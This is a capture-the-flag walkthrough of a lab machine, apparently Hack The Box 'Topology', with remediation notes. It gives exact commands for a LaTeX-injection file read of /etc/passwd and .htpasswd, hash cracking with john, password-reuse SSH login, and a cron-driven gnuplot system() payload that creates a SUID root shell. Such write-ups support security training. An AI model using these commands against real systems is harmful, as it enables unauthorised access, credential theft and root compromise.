Topology
Summary
My found an Apache web server on port 80 hosting a Miskatonic University mathematics department site. Virtual-host probing uncovered a LaTeX equation renderer at latex.topology.htb and a developer preview at dev.topology.htb protected by HTTP Basic Auth.
The renderer passed user-supplied LaTeX directly to a compiler without filtering dangerous file-read commands; injecting a \lstinputlisting{/var/www/dev/.htpasswd} directive caused the server to embed the dev-site credential file into the returned PNG image. OCR of that image recovered an Apache APR1 hash for user vdaisley, which john cracked against the rockyou wordlist in seconds to reveal the password [REDACTED: recovered credential] Because the same password was reused for vdaisley's Linux OS account, SSH login succeeded immediately, yielding an interactive shell and the user flag.
Post-foothold enumeration found /opt/gnuplot world-writable and processed by a root-owned cron job. Dropping a single gnuplot script that called system() to copy /bin/bash with the SUID bit set gave root access within minutes — full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p80 --script=http-title,http-headers $TARGETecho "$TARGET topology.htb latex.topology.htb dev.topology.htb stats.topology.htb" | sudo tee -a /etc/hostsfor vhost in topology.htb latex.topology.htb dev.topology.htb stats.topology.htb; do echo "--- $vhost ---"; curl -si -H "Host: $vhost" http://$TARGET/ | head -4; donecurl -si http://latex.topology.htb/Exact commands 3
curl -sS -G --data-urlencode 'eqn=$\lstinputlisting{/etc/passwd}$' http://latex.topology.htb/equation.php -o /tmp/passwd_render.pngfile /tmp/passwd_render.pngtesseract /tmp/passwd_render.png stdout --psm 6FixDisable dangerous file-read commands in the LaTeX equation rendererCritical
Exact commands 2
curl -sS -G --data-urlencode 'eqn=$\lstinputlisting{/var/www/dev/.htpasswd}$' http://latex.topology.htb/equation.php -o /tmp/htpasswd_render.pngtesseract /tmp/htpasswd_render.png stdout --psm 6Exact commands 3
echo "vdaisley:$HASH" > /tmp/vdaisley.htpasswdjohn --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt /tmp/vdaisley.htpasswdjohn --show --format=md5crypt /tmp/vdaisley.htpasswdFixReplace the weak APR1 hash scheme with bcrypt in .htpasswdHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no vdaisley@$TARGET 'id; cat /home/vdaisley/user.txt'FixEnforce unique passwords across web services and OS accountsHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET 'id; ls -ld /opt /opt/gnuplot'FixRemove world-write access from cron-processed directoriesCritical
Exact commands 4
echo 'system("cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash")' > /tmp/privesc.pltsshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no /tmp/privesc.plt vdaisley@$TARGET:/opt/gnuplot/privesc.pltsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET 'for i in $(seq 1 90); do [ -u /tmp/rootbash ] && break; sleep 2; done; ls -l /tmp/rootbash'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no vdaisley@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |